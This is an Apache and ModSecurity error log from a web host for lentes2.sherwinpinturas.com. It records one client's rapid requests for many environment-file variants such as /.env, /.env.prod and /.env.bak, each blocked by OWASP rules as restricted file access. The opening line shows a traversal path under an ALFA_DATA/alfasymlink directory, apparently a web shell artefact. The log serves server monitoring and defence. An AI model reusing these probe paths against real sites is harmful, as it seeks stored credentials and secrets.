[Sun Oct 25 11:21:51.193003 2026] [core:error] [pid 2853376:tid 2853376] (13)Permission denied: [client 184.72.84.154:41064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/resource0
[Sun Oct 25 11:21:53.082027 2026] [security2:error] [pid 2853378:tid 2853378] [client 213.209.159.133:57306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at4ekRO6lhYf13K488t6bwAAAAk"]
[Sun Oct 25 11:21:53.082263 2026] [security2:error] [pid 2853378:tid 2853378] [client 213.209.159.133:57306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at4ekRO6lhYf13K488t6bwAAAAk"]
[Sun Oct 25 11:21:53.082281 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4ekVuooNxFuMkRFYH-qwAAAAE"]
[Sun Oct 25 11:21:53.082452 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4ekVuooNxFuMkRFYH-qwAAAAE"]
[Sun Oct 25 11:21:53.082672 2026] [security2:error] [pid 2853378:tid 2853378] [client 213.209.159.133:57306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at4ekRO6lhYf13K488t6bwAAAAk"]
[Sun Oct 25 11:21:53.082685 2026] [security2:error] [pid 2852968:tid 2852968] [client 213.209.159.133:57334] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at4ekVuooNxFuMkRFYH-qwAAAAE"]
[Sun Oct 25 11:21:53.084432 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at4ekb_myKDD4ra5zHPY2AAAAAw"]
[Sun Oct 25 11:21:53.084688 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at4ekb_myKDD4ra5zHPY2AAAAAw"]
[Sun Oct 25 11:21:53.085118 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at4ekb_myKDD4ra5zHPY2AAAAAw"]
[Sun Oct 25 11:21:53.086589 2026] [security2:error] [pid 2847214:tid 2847214] [client 213.209.159.133:57374] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4ekfhVEu9HLPc5D-_6GgAAACk"]
[Sun Oct 25 11:21:53.086730 2026] [security2:error] [pid 2847214:tid 2847214] [client 213.209.159.133:57374] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4ekfhVEu9HLPc5D-_6GgAAACk"]
[Sun Oct 25 11:21:53.086937 2026] [security2:error] [pid 2847214:tid 2847214] [client 213.209.159.133:57374] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4ekfhVEu9HLPc5D-_6GgAAACk"]
[Sun Oct 25 11:21:53.087035 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4ekbFVd-32uN3dR1Bv9QAAAAo"]
[Sun Oct 25 11:21:53.087183 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4ekbFVd-32uN3dR1Bv9QAAAAo"]
[Sun Oct 25 11:21:53.087392 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4ekbFVd-32uN3dR1Bv9QAAAAo"]
[Sun Oct 25 11:21:53.087441 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4ekbFVd-32uN3dR1Bv9QAAAAo"]
[Sun Oct 25 11:21:53.087456 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4ekbFVd-32uN3dR1Bv9QAAAAo"]
[Sun Oct 25 11:21:53.091034 2026] [security2:error] [pid 2853395:tid 2853395] [client 213.209.159.133:57322] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4ekRUSNe6FSAQsg7tThgAAABs"]
[Sun Oct 25 11:21:53.091191 2026] [security2:error] [pid 2853395:tid 2853395] [client 213.209.159.133:57322] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4ekRUSNe6FSAQsg7tThgAAABs"]
[Sun Oct 25 11:21:53.091409 2026] [security2:error] [pid 2853395:tid 2853395] [client 213.209.159.133:57322] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4ekRUSNe6FSAQsg7tThgAAABs"]
[Sun Oct 25 11:21:53.092498 2026] [proxy_fcgi:error] [pid 2853385:tid 2853385] [client 213.209.159.133:57358] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 11:21:53.092743 2026] [security2:error] [pid 2853376:tid 2853376] [client 213.209.159.133:57380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at4ekYQ1ZDwVc2SXNbtpqAAAAAU"]
[Sun Oct 25 11:21:53.092889 2026] [security2:error] [pid 2853376:tid 2853376] [client 213.209.159.133:57380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at4ekYQ1ZDwVc2SXNbtpqAAAAAU"]
[Sun Oct 25 11:21:53.093105 2026] [security2:error] [pid 2853376:tid 2853376] [client 213.209.159.133:57380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at4ekYQ1ZDwVc2SXNbtpqAAAAAU"]
[Sun Oct 25 11:21:53.171827 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4ekb_myKDD4ra5zHPY2QAAAAw"]
[Sun Oct 25 11:21:53.172059 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4ekb_myKDD4ra5zHPY2QAAAAw"]
[Sun Oct 25 11:21:53.172308 2026] [security2:error] [pid 2853381:tid 2853381] [client 213.209.159.133:57326] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4ekb_myKDD4ra5zHPY2QAAAAw"]
[Sun Oct 25 11:21:53.172409 2026] [security2:error] [pid 2853384:tid 2853384] [client 213.209.159.133:57346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4ekW6BKUqLydm1sXLUnQAAAA8"]
[Sun Oct 25 11:21:53.172596 2026] [security2:error] [pid 2853384:tid 2853384] [client 213.209.159.133:57346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4ekW6BKUqLydm1sXLUnQAAAA8"]
[Sun Oct 25 11:21:53.172821 2026] [security2:error] [pid 2853384:tid 2853384] [client 213.209.159.133:57346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4ekW6BKUqLydm1sXLUnQAAAA8"]
[Sun Oct 25 11:21:53.173735 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4ekbFVd-32uN3dR1Bv9gAAAAo"]
[Sun Oct 25 11:21:53.173873 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4ekbFVd-32uN3dR1Bv9gAAAAo"]
[Sun Oct 25 11:21:53.174071 2026] [security2:error] [pid 2853379:tid 2853379] [client 213.209.159.133:57316] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4ekbFVd-32uN3dR1Bv9gAAAAo"]
[Sun Oct 25 11:21:53.175690 2026] [security2:error] [pid 2834019:tid 2834019] [client 213.209.159.133:57356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4ekUsgp-xlBP1GcWOTDAAAABE"]
[Sun Oct 25 11:21:53.175861 2026] [security2:error] [pid 2834019:tid 2834019] [client 213.209.159.133:57356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4ekUsgp-xlBP1GcWOTDAAAABE"]
[Sun Oct 25 11:21:53.176061 2026] [security2:error] [pid 2834019:tid 2834019] [client 213.209.159.133:57356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4ekUsgp-xlBP1GcWOTDAAAABE"]
[Sun Oct 25 11:21:53.176407 2026] [security2:error] [pid 2853395:tid 2853395] [client 213.209.159.133:57322] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4ekRUSNe6FSAQsg7tThwAAABs"]
[Sun Oct 25 11:21:53.176584 2026] [security2:error] [pid 2853395:tid 2853395] [client 213.209.159.133:57322] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4ekRUSNe6FSAQsg7tThwAAABs"]
[Sun Oct 25 11:21:53.176800 2026] [security2:error] [pid 2853395:tid 2853395] [client 213.209.159.133:57322] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at4ekRUSNe6FSAQsg7tThwAAABs"]
[Sun Oct 25 11:21:53.177062 2026] [security2:error] [pid 2853385:tid 2853385] [client 213.209.159.133:57358] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at4ekU5S67VsMPipgjz2vAAAABA"]
